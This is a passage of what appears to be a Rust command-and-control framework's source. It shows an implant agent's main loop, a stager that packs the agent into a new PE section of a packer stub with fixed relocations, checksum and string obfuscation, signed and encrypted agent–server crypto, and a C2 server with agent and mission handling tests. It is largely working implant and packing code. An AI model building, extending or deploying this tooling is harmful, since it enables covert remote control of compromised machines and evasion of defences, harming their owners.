░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░"); 143 | info!("░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓███████▓▒░ "); 144 | let agent_path = env::current_exe()?; 145 | 146 | // TODO is_emu 147 | // TODO Single instance 148 | 149 | #[cfg(windows)] 150 | #[allow(static_mut_refs)] 151 | let mut signing_key = crypto::get_signing_key_from(unsafe { &SECRET_KEY }); 152 | #[cfg(not(windows))] 153 | let mut signing_key = crypto::get_signing_key_from(obfstr::obfbytes!(include_bytes!(concat!( 154 | env!("OUT_DIR"), 155 | "/id.key" 156 | )))); 157 | let c2_verifying_key = crypto::VerifyingKey::from_bytes(&[ 158 | 0x21, 0x7f, 0xb1, 0xc2, 0xff, 0x92, 0x31, 0x0a, 0xf8, 0x41, 0x90, 0x7c, 0x6d, 0xad, 0x67, 159 | 0xfd, 0xfc, 0x77, 0x5b, 0x7b, 0x79, 0x2a, 0xf1, 0xd0, 0xa0, 0x2b, 0x41, 0x27, 0x91, 0xc9, 160 | 0x66, 0xe9, 161 | ]) 162 | .unwrap(); 163 | 164 | if let Some(mission) = std::env::args().nth(1) { 165 | let mission: model::Mission = serde_json::from_str(&mission)?; 166 | info!("Agent restarted by mission [{}]", mission.id); 167 | client::missions::report(&mut signing_key, mission, "OK")?; 168 | } 169 | 170 | while let Err(e) = failsafe_loop(&mut signing_key, &c2_verifying_key, &agent_path) { 171 | error!("Error: {e}"); 172 | thread::sleep(time::Duration::from_secs(5)); 173 | } 174 | info!("Stopping agent"); 175 | Ok(()) 176 | } 177 | -------------------------------------------------------------------------------- /stager/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::{env, fs}; 2 | 3 | use common::crypto; 4 | use object::{pe::ImageNtHeaders64, read::pe::PeFile, Object as _, ObjectSection as _}; 5 | 6 | mod win_h; 7 | 8 | const PACKER_STUB: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/packer.exe")); 9 | const AGENT_PACK: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/agent.pack")); 10 | 11 | fn section_file_range(file: &PeFile, name: &str) -> Option<(u64, u64)> { 12 | return file.sections().filter(|s| s.name().is_ok()).find_map(|s| { 13 | if s.name() == Ok(name) { 14 | s.file_range() 15 | } else { 16 | None 17 | } 18 | }); 19 | } 20 | 21 | fn secret_key_mut(agent: &mut [u8]) -> Result<&mut [u8], Box> { 22 | let agent_pe = PeFile::::parse(&agent)?; 23 | let (offset, size) = section_file_range(&agent_pe, obfstr::obfstr!(".sk")).unwrap(); 24 | Ok(&mut agent[offset as usize..][..size as usize]) 25 | } 26 | 27 | fn align(size: usize, alignment: usize) -> usize { 28 | (size as f32 / alignment as f32).ceil() as usize * alignment 29 | } 30 | 31 | unsafe fn resize_reloc(mut bin: Vec) -> Vec { 32 | let base = bin.as_mut_ptr(); 33 | let dos_header = base as *mut win_h::IMAGE_DOS_HEADER; 34 | let nt_header = 35 | (base as usize + (*dos_header).e_lfanew as usize) as *mut win_h::IMAGE_NT_HEADER; 36 | let file_alignment = (*nt_header).OptionalHeader.FileAlignment; 37 | let sections = nt_header.offset(1) as *mut win_h::IMAGE_SECTION_HEADER; 38 | let reloc_section = sections.offset(((*nt_header).FileHeader.NumberOfSections - 1) as isize); 39 | 40 | // If the .reloc section is too small to receive another entry, make it bigger 41 | if (*reloc_section).SizeOfRawData - (*reloc_section).Misc.VirtualSize < 0xC { 42 | (*reloc_section).SizeOfRawData += file_alignment; 43 | bin.extend(vec![0; file_alignment as usize]); 44 | } 45 | 46 | bin 47 | } 48 | 49 | unsafe fn add_section(mut bin: Vec, data: &[u8]) -> Vec { 50 | let base = bin.as_mut_ptr(); 51 | let dos_header = base as *mut win_h::IMAGE_DOS_HEADER; 52 | let nt_header = 53 | (base as usize + (*dos_header).e_lfanew as usize) as *mut win_h::IMAGE_NT_HEADER; 54 | let section_alignment = (*nt_header).OptionalHeader.SectionAlignment; 55 | let file_alignment = (*nt_header).OptionalHeader.FileAlignment; 56 | let sections = nt_header.offset(1) as *mut win_h::IMAGE_SECTION_HEADER; 57 | let penultimate_section = 58 | sections.offset(((*nt_header).FileHeader.NumberOfSections - 1) as isize); 59 | let ultimate_section = sections.offset((*nt_header).FileHeader.NumberOfSections as isize); 60 | 61 | // Sets the new section containing the packed data 62 | *ultimate_section = win_h::IMAGE_SECTION_HEADER { 63 | Name: *b".mdr\0\0\0\0", 64 | Misc: win_h::IMAGE_SECTION_HEADER_0 { 65 | VirtualSize: data.len() as u32, 66 | }, 67 | VirtualAddress: align( 68 | ((*penultimate_section).VirtualAddress + (*penultimate_section).Misc.VirtualSize) 69 | as usize, 70 | section_alignment as usize, 71 | ) as u32, 72 | SizeOfRawData: align(data.len(), file_alignment as usize) as u32, 73 | PointerToRawData: align( 74 | ((*penultimate_section).PointerToRawData + (*penultimate_section).SizeOfRawData) 75 | as usize, 76 | file_alignment as usize, 77 | ) as u32, 78 | PointerToRelocations: 0, 79 | PointerToLinenumbers: 0, 80 | NumberOfRelocations: 0, 81 | NumberOfLinenumbers: 0, 82 | Characteristics: 0x40000040, 83 | }; 84 | 85 | // NumberOfSections++ 86 | (*nt_header).FileHeader.NumberOfSections += 1; 87 | 88 | // Adjust size of image 89 | (*nt_header).OptionalHeader.SizeOfImage = align( 90 | ((*ultimate_section).VirtualAddress + (*ultimate_section).Misc.VirtualSize) as usize, 91 | section_alignment as usize, 92 | ) as u32; 93 | 94 | // Append the packed data to the packer 95 | bin.extend(data); 96 | bin.extend(vec![ 97 | 0; 98 | (*ultimate_section).SizeOfRawData as usize - data.len() 99 | ]); 100 | 101 | bin 102 | } 103 | 104 | unsafe fn set_reference_to_data(mut bin: Vec, data: &[u8]) -> Vec { 105 | let base = bin.as_mut_ptr(); 106 | let dos_header = base as *mut win_h::IMAGE_DOS_HEADER; 107 | let nt_header = 108 | (base as usize + (*dos_header).e_lfanew as usize) as *mut win_h::IMAGE_NT_HEADER; 109 | let sections = nt_header.offset(1) as *mut win_h::IMAGE_SECTION_HEADER; 110 | let ultimate_section = sections.offset(((*nt_header).FileHeader.NumberOfSections - 1) as isize); 111 | 112 | // Set reference to new section 113 | let pe = PeFile::::parse(&bin).unwrap(); 114 | let (offset, size) = section_file_range(&pe, ".bin").unwrap(); 115 | bin[offset as usize..][..size as usize].copy_from_slice( 116 | &[ 117 | ((*nt_header).OptionalHeader.ImageBase + (*ultimate_section).VirtualAddress as u64) 118 | .to_le_bytes(), 119 | data.len().to_le_bytes(), 120 | ] 121 | .concat(), 122 | ); 123 | 124 | bin 125 | } 126 | 127 | unsafe fn modify_reloc(mut bin: Vec) -> Vec { 128 | let base = bin.as_mut_ptr(); 129 | let dos_header = base as *mut win_h::IMAGE_DOS_HEADER; 130 | let nt_header = 131 | (base as usize + (*dos_header).e_lfanew as usize) as *mut win_h::IMAGE_NT_HEADER; 132 | let sections = nt_header.offset(1) as *mut win_h::IMAGE_SECTION_HEADER; 133 | let reloc_section_header = 134 | sections.offset(((*nt_header).FileHeader.NumberOfSections - 2) as isize); 135 | let bin_section_header = sections.offset(2 as isize); 136 | let reloc_section = (bin.as_mut_ptr() as *mut u8) 137 | .offset((*reloc_section_header).PointerToRawData as isize) 138 | as *mut win_h::IMAGE_BASE_RELOCATION; 139 | 140 | // Build the list of the relocations 141 | let mut relocs = vec![]; 142 | let mut relocation = reloc_section; 143 | while (*relocation).SizeOfBlock != 0 { 144 | relocs.push( 145 | std::slice::from_raw_parts(relocation as *mut u8, (*relocation).SizeOfBlock as usize) 146 | .to_vec(), 147 | ); 148 | relocation = (relocation as *const u8).add((*relocation).SizeOfBlock as usize) 149 | as *mut win_h::IMAGE_BASE_RELOCATION; 150 | } 151 | 152 | // Add the reloc block for the .bin section 153 | relocs.push( 154 | vec![ 155 | (*bin_section_header) 156 | .VirtualAddress 157 | .to_le_bytes() 158 | .as_slice(), 159 | (0xc as u32).to_le_bytes().as_slice(), 160 | (0xa000 as u16).to_le_bytes().as_slice(), 161 | (0x00 as u16).to_le_bytes().as_slice(), 162 | ] 163 | .concat(), 164 | ); 165 | 166 | // Sort the relocs by VirtualAddress INC 167 | relocs.sort_by(|a, b| { 168 | let a = a.as_ptr() as *const win_h::IMAGE_BASE_RELOCATION; 169 | let b = b.as_ptr() as *const win_h::IMAGE_BASE_RELOCATION; 170 | (*a).VirtualAddress 171 | .partial_cmp(&(*b).VirtualAddress) 172 | .unwrap() 173 | }); 174 | 175 | // Copy the newly computed relocations to the .reloc section header 176 | let relocations_header = relocs.concat(); 177 | std::slice::from_raw_parts_mut(reloc_section as *mut u8, relocations_header.len()) 178 | .copy_from_slice(&relocations_header); 179 | 180 | // Adjust .reloc section header sizes 181 | (*nt_header).OptionalHeader.DataDirectory[5].Size = relocations_header.len() as u32; 182 | (*reloc_section_header).Misc.VirtualSize = relocations_header.len() as u32; 183 | 184 | bin 185 | } 186 | 187 | unsafe fn calculate_checksum(bin: &mut [u8]) { 188 | let base = bin.as_mut_ptr(); 189 | let dos_header = base as *mut win_h::IMAGE_DOS_HEADER; 190 | let nt_header = 191 | (base as usize + (*dos_header).e_lfanew as usize) as *mut win_h::IMAGE_NT_HEADER; 192 | 193 | let checksum_offset = (*dos_header).e_lfanew as usize 194 | + std::mem::size_of::() 195 | + std::mem::size_of::() 196 | + 64usize; 197 | let eof = bin.len(); 198 | let mut checksum = 0u64; 199 | 200 | for offset in (0..eof).step_by(4) { 201 | if offset == checksum_offset { 202 | continue; 203 | } 204 | let data = *(bin.as_ptr() as *const u32).offset(offset as isize); 205 | checksum = (checksum & 0xFFFFFFFF) + (data as u64) + (checksum >> 32); 206 | if checksum > (u32::MAX as u64) { 207 | checksum = (checksum & 0xFFFFFFFF) + (checksum >> 32); 208 | } 209 | } 210 | 211 | checksum = (checksum & 0xFFFF) + (checksum >> 16); 212 | checksum = checksum + (checksum >> 16); 213 | checksum = checksum & 0xFFFF; 214 | checksum += eof as u64; 215 | 216 | (*nt_header).OptionalHeader.CheckSum = checksum as u32; 217 | } 218 | 219 | fn main() -> Result<(), Box> { 220 | // Set a secret key in the agent 221 | let mut agent = common::unpack_to_vec(&AGENT_PACK); 222 | secret_key_mut(&mut agent)?.copy_from_slice(crypto::get_signing_key().as_bytes()); 223 | let packed_agent = common::pack_to_vec(&agent); 224 | 225 | // http://www.sunshine2k.de/reversing/tuts/tut_addsec.htm 226 | let packer = unsafe { 227 | let packer = resize_reloc(PACKER_STUB.to_vec()); 228 | let packer = add_section(packer, &packed_agent); 229 | let packer = set_reference_to_data(packer, &packed_agent); 230 | let mut packer = modify_reloc(packer); 231 | calculate_checksum(&mut packer); 232 | packer 233 | }; 234 | 235 | // Replace the current executable with the updated one 236 | let tmp = env::current_exe()?.with_extension(obfstr::obfstr!("tmp")); 237 | fs::write(&tmp, packer)?; 238 | self_replace::self_replace(&tmp)?; 239 | fs::remove_file(&tmp)?; 240 | 241 | Ok(()) 242 | } 243 | -------------------------------------------------------------------------------- /common/src/crypto.rs: -------------------------------------------------------------------------------- 1 | use blake2::digest::{Update, VariableOutput}; 2 | use chacha20poly1305::{aead::Aead, KeyInit, XChaCha20Poly1305}; 3 | use ed25519_dalek::{ed25519::signature::SignerMut, Verifier}; 4 | use rand::RngCore; 5 | use x25519_dalek::{x25519, X25519_BASEPOINT_BYTES}; 6 | use zeroize::Zeroize; 7 | 8 | pub use ed25519_dalek::{Signature, SigningKey, VerifyingKey}; 9 | 10 | pub const ED25519_SECRET_KEY_SIZE: usize = ed25519_dalek::SECRET_KEY_LENGTH; 11 | pub const X25519_PUBLIC_KEY_SIZE: usize = 32; 12 | pub const X25519_PRIVATE_KEY_SIZE: usize = 32; 13 | pub const XCHACHA20_POLY1305_NONCE_SIZE: usize = 24; 14 | pub const XCHACHA20_POLY1305_KEY_SIZE: usize = 32; 15 | 16 | #[derive(thiserror::Error, Debug)] 17 | pub enum CryptoError { 18 | #[error("signature verification failed: {0}")] 19 | SignatureVerification(ed25519_dalek::SignatureError), 20 | #[error("cipher failed: {0}")] 21 | Cipher(chacha20poly1305::aead::Error), 22 | } 23 | 24 | impl From for CryptoError { 25 | fn from(e: ed25519_dalek::SignatureError) -> Self { 26 | CryptoError::SignatureVerification(e) 27 | } 28 | } 29 | 30 | impl From for CryptoError { 31 | fn from(e: chacha20poly1305::aead::Error) -> Self { 32 | CryptoError::Cipher(e) 33 | } 34 | } 35 | 36 | pub type CryptoResult = Result; 37 | pub type KeyExchangePublicKey = [u8; X25519_PUBLIC_KEY_SIZE]; 38 | pub type KeyExchangePrivateKey = [u8; X25519_PRIVATE_KEY_SIZE]; 39 | pub type Nonce = [u8; XCHACHA20_POLY1305_NONCE_SIZE]; 40 | 41 | pub fn get_signing_key() -> SigningKey { 42 | SigningKey::generate(&mut rand::rngs::OsRng {}) 43 | } 44 | 45 | pub fn get_signing_key_from(secret_key: &[u8; ed25519_dalek::SECRET_KEY_LENGTH]) -> SigningKey { 46 | SigningKey::from_bytes(secret_key) 47 | } 48 | 49 | pub fn generate_key_exchange_key_pair( 50 | signing_key: &mut SigningKey, 51 | ) -> (KeyExchangePublicKey, KeyExchangePrivateKey, Signature) { 52 | let mut rand_generator = rand::rngs::OsRng {}; 53 | 54 | // Generate ephemeral keypair for key exchange 55 | let mut ephemeral_private_key = [0u8; X25519_PRIVATE_KEY_SIZE]; 56 | rand_generator.fill_bytes(&mut ephemeral_private_key); 57 | let ephemeral_public_key = x25519(ephemeral_private_key, X25519_BASEPOINT_BYTES); 58 | 59 | // Sign ephemeral public key 60 | let emphemeral_public_key_signature = signing_key.sign(&ephemeral_public_key); 61 | 62 | ( 63 | ephemeral_public_key, 64 | ephemeral_private_key, 65 | emphemeral_public_key_signature, 66 | ) 67 | } 68 | 69 | pub fn verify_key_exchange_key_pair( 70 | verifying_key: &VerifyingKey, 71 | ephemeral_public_key: KeyExchangePublicKey, 72 | signature: Signature, 73 | ) -> CryptoResult<()> { 74 | Ok(verifying_key.verify(&ephemeral_public_key, &signature)?) 75 | } 76 | 77 | pub fn encrypt( 78 | encryption_ephemeral_public_key: KeyExchangePublicKey, 79 | plain_data: &[u8], 80 | ) -> CryptoResult<(KeyExchangePublicKey, Nonce, Vec)> { 81 | let mut rand_generator = rand::rngs::OsRng {}; 82 | 83 | // Generate ephemeral keypair 84 | let mut ephemeral_private_key = [0u8; X25519_PRIVATE_KEY_SIZE]; 85 | rand_generator.fill_bytes(&mut ephemeral_private_key); 86 | let decryption_ephemeral_public_key = 87 | x25519(ephemeral_private_key, x25519_dalek::X25519_BASEPOINT_BYTES); 88 | 89 | // Key exchange 90 | let mut shared_secret = x25519(ephemeral_private_key, encryption_ephemeral_public_key); 91 | 92 | // Generate nonce 93 | let mut nonce = [0u8; XCHACHA20_POLY1305_NONCE_SIZE]; 94 | rand_generator.fill_bytes(&mut nonce); 95 | 96 | // Derive key 97 | let mut kdf = blake2::VarBlake2b::new_keyed(&shared_secret, XCHACHA20_POLY1305_KEY_SIZE); 98 | kdf.update(nonce); 99 | let mut key = kdf.finalize_boxed(); 100 | 101 | // Encrypt data 102 | let cipher = XChaCha20Poly1305::new(key.as_ref().into()); 103 | let encrypted_data = cipher.encrypt(&nonce.into(), plain_data)?; 104 | 105 | shared_secret.zeroize(); 106 | key.zeroize(); 107 | 108 | Ok((decryption_ephemeral_public_key, nonce, encrypted_data)) 109 | } 110 | 111 | fn make_signature_buffer( 112 | additional_data: &[u8], 113 | encrypted_data: &[u8], 114 | decryption_ephemeral_public_key: KeyExchangePublicKey, 115 | nonce: Nonce, 116 | ) -> Vec { 117 | [ 118 | additional_data, 119 | encrypted_data, 120 | &decryption_ephemeral_public_key, 121 | &nonce, 122 | ] 123 | .concat() 124 | } 125 | 126 | pub fn sign( 127 | signing_key: &mut SigningKey, 128 | additional_data: &[u8], 129 | decryption_ephemeral_public_key: KeyExchangePublicKey, 130 | encrypted_data: &[u8], 131 | nonce: Nonce, 132 | ) -> Signature { 133 | // Signature 134 | signing_key.sign(&make_signature_buffer( 135 | additional_data, 136 | encrypted_data, 137 | decryption_ephemeral_public_key, 138 | nonce, 139 | )) 140 | } 141 | 142 | pub fn verify( 143 | verifying_key: &VerifyingKey, 144 | signature: Signature, 145 | additional_data: &[u8], 146 | decryption_ephemeral_public_key: KeyExchangePublicKey, 147 | encrypted_data: &[u8], 148 | nonce: Nonce, 149 | ) -> CryptoResult<()> { 150 | // Verify signature 151 | Ok(verifying_key.verify( 152 | &make_signature_buffer( 153 | additional_data, 154 | encrypted_data, 155 | decryption_ephemeral_public_key, 156 | nonce, 157 | ), 158 | &signature, 159 | )?) 160 | } 161 | 162 | pub fn decrypt( 163 | encrypted_data: &[u8], 164 | ephemeral_public_key: [u8; X25519_PUBLIC_KEY_SIZE], 165 | ephemeral_private_key: [u8; X25519_PRIVATE_KEY_SIZE], 166 | nonce: [u8; XCHACHA20_POLY1305_NONCE_SIZE], 167 | ) -> CryptoResult> { 168 | // Key exchange 169 | let mut shared_secret = x25519(ephemeral_private_key, ephemeral_public_key); 170 | 171 | // Derive key 172 | let mut kdf = blake2::VarBlake2b::new_keyed(&shared_secret, XCHACHA20_POLY1305_KEY_SIZE); 173 | kdf.update(nonce); 174 | let mut key = kdf.finalize_boxed(); 175 | 176 | // Decrypt 177 | let cipher = XChaCha20Poly1305::new(key.as_ref().into()); 178 | let plain_data = cipher.decrypt(&nonce.into(), encrypted_data)?; 179 | 180 | shared_secret.zeroize(); 181 | key.zeroize(); 182 | 183 | Ok(plain_data) 184 | } 185 | 186 | #[cfg(test)] 187 | mod tests { 188 | use base64::{prelude::BASE64_STANDARD, Engine as _}; 189 | use rand::RngCore; 190 | 191 | #[test] 192 | fn test_signature() { 193 | let mut signing_key = super::get_signing_key(); 194 | println!( 195 | "[+] Signing key: {:?}", 196 | BASE64_STANDARD.encode(signing_key.as_bytes()) 197 | ); 198 | println!( 199 | "[+] Verifying key: {:?}", 200 | BASE64_STANDARD.encode(signing_key.verifying_key().as_bytes()) 201 | ); 202 | let verifying_key = signing_key.verifying_key(); 203 | 204 | let mut rand_generator = rand::rngs::OsRng {}; 205 | let data_id = "0"; 206 | let agent_id = "0"; 207 | let mut decryption_ephemeral_public_key = [0u8; 32]; 208 | let mut encrypted_data = vec![0u8; 32]; 209 | let mut nonce = [0u8; 24]; 210 | rand_generator.fill_bytes(&mut decryption_ephemeral_public_key); 211 | rand_generator.fill_bytes(&mut encrypted_data); 212 | rand_generator.fill_bytes(&mut nonce); 213 | 214 | let signature = super::sign( 215 | &mut signing_key, 216 | &[data_id.as_bytes(), agent_id.as_bytes()].concat(), 217 | decryption_ephemeral_public_key, 218 | &encrypted_data, 219 | nonce, 220 | ); 221 | 222 | super::verify( 223 | &verifying_key, 224 | signature, 225 | &[data_id.as_bytes(), agent_id.as_bytes()].concat(), 226 | decryption_ephemeral_public_key, 227 | &encrypted_data, 228 | nonce, 229 | ) 230 | .unwrap(); 231 | } 232 | 233 | #[test] 234 | fn test_encryption() { 235 | let mut rand_generator = rand::rngs::OsRng {}; 236 | let mut encryption_ephemeral_private_key = [0u8; 32]; 237 | rand_generator.fill_bytes(&mut encryption_ephemeral_private_key); 238 | let encryption_ephemeral_public_key = super::x25519( 239 | encryption_ephemeral_private_key.clone(), 240 | x25519_dalek::X25519_BASEPOINT_BYTES, 241 | ); 242 | 243 | let plain_data = b"Hello, world!".to_vec(); 244 | let (decryption_ephemeral_public_key, nonce, encrypted_data) = 245 | super::encrypt(encryption_ephemeral_public_key, &plain_data).unwrap(); 246 | 247 | let decrypted_data = super::decrypt( 248 | &encrypted_data, 249 | decryption_ephemeral_public_key, 250 | encryption_ephemeral_private_key, 251 | nonce, 252 | ) 253 | .unwrap(); 254 | 255 | assert_eq!(plain_data, decrypted_data); 256 | } 257 | 258 | #[test] 259 | fn test_end_to_end() { 260 | let mut signing_key_alice = super::get_signing_key(); 261 | let alice_verifying_key = signing_key_alice.verifying_key(); 262 | let mut signing_key_bob = super::get_signing_key(); 263 | let bob_verifying_key = signing_key_bob.verifying_key(); 264 | 265 | let plain_data = "Hello, world!"; 266 | let data_id = "1"; 267 | let agent_id = "1"; 268 | 269 | // Bob generates ephemeral keypair for key exchange 270 | let (ephemeral_public_key, ephemeral_private_key, ephemeral_private_key_signature) = 271 | super::generate_key_exchange_key_pair(&mut signing_key_bob); 272 | 273 | // Alice encrypts data for Bob 274 | println!("[+] Alice encrypts data for Bob"); 275 | println!("[+] Plain data: {plain_data}"); 276 | println!( 277 | "[+] Plain data {}", 278 | BASE64_STANDARD.encode(plain_data.as_bytes()) 279 | ); 280 | super::verify_key_exchange_key_pair( 281 | &bob_verifying_key, 282 | ephemeral_public_key, 283 | ephemeral_private_key_signature, 284 | ) 285 | .unwrap(); 286 | let (key_exchange_public_key, nonce, encrypted_data) = 287 | super::encrypt(ephemeral_public_key, plain_data.as_bytes()).unwrap(); 288 | println!( 289 | "[+] Encrypted data: {}", 290 | BASE64_STANDARD.encode(&encrypted_data) 291 | ); 292 | let signature = super::sign( 293 | &mut signing_key_alice, 294 | &[data_id.as_bytes(), agent_id.as_bytes()].concat(), 295 | key_exchange_public_key, 296 | &encrypted_data, 297 | nonce, 298 | ); 299 | 300 | // Bob decrypts data from Alice 301 | println!("[+] Bob decrypts data from Alice"); 302 | super::verify( 303 | &alice_verifying_key, 304 | signature, 305 | &[data_id.as_bytes(), agent_id.as_bytes()].concat(), 306 | key_exchange_public_key, 307 | &encrypted_data, 308 | nonce, 309 | ) 310 | .unwrap(); 311 | let decrypted_data = super::decrypt( 312 | &encrypted_data, 313 | key_exchange_public_key, 314 | ephemeral_private_key, 315 | nonce, 316 | ) 317 | .unwrap(); 318 | println!( 319 | "[+] Decrypted data {}", 320 | BASE64_STANDARD.encode(&decrypted_data) 321 | ); 322 | println!( 323 | "[+] Decrypted data: {}", 324 | std::str::from_utf8(&decrypted_data).unwrap() 325 | ); 326 | assert_eq!(plain_data.as_bytes(), decrypted_data); 327 | } 328 | } 329 | -------------------------------------------------------------------------------- /c2/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::{ 2 | collections::HashMap, 3 | sync::{Arc, Mutex}, 4 | }; 5 | 6 | use common::crypto::{self, SigningKey}; 7 | use error::C2Result; 8 | use tower_http::trace::TraceLayer; 9 | use tracing::info; 10 | 11 | pub(crate) mod error; 12 | mod jwt; 13 | mod routes; 14 | mod services; 15 | 16 | pub const IDENTITY: [u8; crypto::ED25519_SECRET_KEY_SIZE] = *include_bytes!("../../c2.id"); 17 | 18 | #[derive(Clone)] 19 | pub struct C2State { 20 | pub signing_key: SigningKey, 21 | pub conn: ThreadSafeConnection, 22 | pub ephemeral_private_keys: Arc>>, 23 | } 24 | 25 | unsafe impl Send for C2State {} 26 | unsafe impl Sync for C2State {} 27 | 28 | // Reason for this: https://www.reddit.com/r/rust/comments/pnzple/comment/hct59dj/ 29 | // "In general, I recommend that you never lock the standard library mutex from async functions. 30 | // Instead, create a non-async function that locks it and accesses it, then call that non-async function from your async code." 31 | pub type ThreadSafeConnection = Arc>; 32 | 33 | #[tokio::main] 34 | async fn main() -> C2Result<()> { 35 | tracing_subscriber::fmt() 36 | .with_max_level(tracing::Level::DEBUG) 37 | .event_format( 38 | tracing_subscriber::fmt::format() 39 | .with_file(true) 40 | .with_line_number(true), 41 | ) 42 | .init(); 43 | info!(" ░▒▓██████▓▒░░▒▓███████▓▒░ "); 44 | info!("░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░"); 45 | info!("░▒▓█▓▒░ ░▒▓█▓▒░"); 46 | info!("░▒▓█▓▒░ ░▒▓██████▓▒░ "); 47 | info!("░▒▓█▓▒░ ░▒▓█▓▒░ "); 48 | info!("░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ "); 49 | info!(" ░▒▓██████▓▒░░▒▓████████▓▒░"); 50 | 51 | let signing_key = crypto::get_signing_key_from(&IDENTITY); 52 | 53 | // Migration https://github.com/launchbadge/sqlx/blob/main/sqlx-cli/README.md 54 | let conn = rusqlite::Connection::open("c2.db")?; 55 | 56 | let ephemeral_private_keys = HashMap::new(); 57 | 58 | let app = app(C2State { 59 | signing_key, 60 | conn: Arc::new(Mutex::new(conn)), 61 | ephemeral_private_keys: Arc::new(Mutex::new(ephemeral_private_keys)), 62 | }); 63 | 64 | let listener = tokio::net::TcpListener::bind("0.0.0.0:3000").await?; 65 | Ok(axum::serve(listener, app).await?) 66 | } 67 | 68 | fn app(state: C2State) -> axum::Router { 69 | routes::init_router(state.clone()) 70 | .layer(TraceLayer::new_for_http()) 71 | // .layer(DefaultBodyLimit::max(2048)) 72 | .with_state(state) 73 | } 74 | 75 | // TODO Explore https://github.com/tokio-rs/axum/discussions/555 76 | #[cfg(test)] 77 | mod tests { 78 | use std::{fs, sync::Once}; 79 | 80 | use super::*; 81 | use axum::{ 82 | body::Body, 83 | http::{header, Method, StatusCode}, 84 | }; 85 | use common::{model, PLATFORM, PLATFORM_HEADER}; 86 | use http_body_util::BodyExt; 87 | use tower::{Service as _, ServiceExt}; 88 | 89 | type OsefResult = Result<(), Box>; 90 | 91 | static INIT: Once = Once::new(); 92 | 93 | fn state() -> Result> { 94 | INIT.call_once(|| { 95 | tracing_subscriber::fmt() 96 | .with_max_level(tracing::Level::DEBUG) 97 | .event_format( 98 | tracing_subscriber::fmt::format() 99 | .with_file(true) 100 | .with_line_number(true), 101 | ) 102 | .init(); 103 | }); 104 | 105 | let signing_key = crypto::get_signing_key_from(&IDENTITY); 106 | 107 | let conn = rusqlite::Connection::open_in_memory()?; 108 | conn.execute_batch(&fs::read_to_string( 109 | "migrations/20240609105900_hello.up.sql", 110 | )?)?; 111 | 112 | Ok(C2State { 113 | signing_key, 114 | conn: Arc::new(Mutex::new(conn)), 115 | ephemeral_private_keys: Arc::new(Mutex::new(HashMap::new())), 116 | }) 117 | } 118 | 119 | #[tokio::test] 120 | async fn test_get_no_agents() -> OsefResult { 121 | let state = state()?; 122 | let jwt = jwt::Claim::new(1).into_jwt(state.signing_key.as_bytes())?; 123 | let response = app(state) 124 | .oneshot( 125 | axum::http::Request::builder() 126 | .method(Method::GET) 127 | .uri("/agents") 128 | .header(header::AUTHORIZATION, format!("Bearer {jwt}")) 129 | .body(Body::empty())?, 130 | ) 131 | .await?; 132 | 133 | assert_eq!(response.status(), StatusCode::OK); 134 | let body = response.into_body().collect().await?.to_bytes(); 135 | let agents = serde_json::from_slice::>(&body)?; 136 | assert!(agents.is_empty()); 137 | Ok(()) 138 | } 139 | 140 | #[tokio::test] 141 | async fn test_get_agents() -> OsefResult { 142 | let state = state()?; 143 | vec![ 144 | model::Agent { 145 | id: 1, 146 | name: "Agent 1".to_string(), 147 | identity: crypto::get_signing_key().verifying_key(), 148 | platform: Default::default(), 149 | created_at: chrono::Utc::now(), 150 | last_seen_at: chrono::Utc::now(), 151 | }, 152 | model::Agent { 153 | id: 2, 154 | name: "Agent 2".to_string(), 155 | identity: crypto::get_signing_key().verifying_key(), 156 | platform: Default::default(), 157 | created_at: chrono::Utc::now(), 158 | last_seen_at: chrono::Utc::now(), 159 | }, 160 | ] 161 | .into_iter() 162 | .for_each(|agent| { 163 | services::agents::create( 164 | state.conn.clone(), 165 | &agent.name, 166 | agent.identity, 167 | agent.platform, 168 | ) 169 | .unwrap(); 170 | }); 171 | let jwt = jwt::Claim::new(1).into_jwt(state.signing_key.as_bytes())?; 172 | 173 | let response = app(state) 174 | .oneshot( 175 | axum::http::Request::builder() 176 | .method(Method::GET) 177 | .uri("/agents") 178 | .header(header::AUTHORIZATION, format!("Bearer {jwt}")) 179 | .body(Body::empty())?, 180 | ) 181 | .await?; 182 | 183 | assert_eq!(response.status(), StatusCode::OK); 184 | let body = response.into_body().collect().await?.to_bytes(); 185 | let agents = serde_json::from_slice::>(&body)?; 186 | assert_eq!(agents.len(), 2); 187 | Ok(()) 188 | } 189 | 190 | #[tokio::test] 191 | async fn test_init_new_agent() -> OsefResult { 192 | let state = state()?; 193 | let mut signing_key = crypto::get_signing_key(); 194 | let (_private_key, crypto_negociation) = model::CryptoNegociation::new(&mut signing_key); 195 | 196 | let response = app(state.clone()) 197 | .oneshot( 198 | axum::http::Request::builder() 199 | .method(Method::GET) 200 | .uri("/missions") 201 | .header(PLATFORM_HEADER, PLATFORM.to_string()) 202 | .header(header::CONTENT_TYPE, "application/json") 203 | .body(Body::from(serde_json::to_string(&crypto_negociation)?))?, 204 | ) 205 | .await?; 206 | 207 | assert_eq!(response.status(), StatusCode::NO_CONTENT); 208 | let agents = services::agents::get(state.conn.clone())?; 209 | assert_eq!(agents.len(), 1); 210 | let agent = &agents[0]; 211 | assert_eq!(agent.identity, signing_key.verifying_key()); 212 | Ok(()) 213 | } 214 | 215 | #[tokio::test] 216 | async fn test_create_mission() -> OsefResult { 217 | let state = state()?; 218 | let signing_key = crypto::get_signing_key(); 219 | let jwt = jwt::Claim::new(1).into_jwt(state.signing_key.as_bytes())?; 220 | 221 | let agent = services::agents::create( 222 | state.conn.clone(), 223 | "Michel c'est le Brésil", 224 | signing_key.verifying_key(), 225 | model::Platform::default(), 226 | )?; 227 | 228 | let response = app(state.clone()) 229 | .oneshot( 230 | axum::http::Request::builder() 231 | .method(Method::POST) 232 | .uri("/missions") 233 | .header(header::CONTENT_TYPE, "application/json") 234 | .header(header::AUTHORIZATION, format!("Bearer {jwt}")) 235 | .body(Body::from(serde_json::to_string(&model::Mission { 236 | id: Default::default(), 237 | agent_id: agent.id, 238 | task: model::Task::Stop, 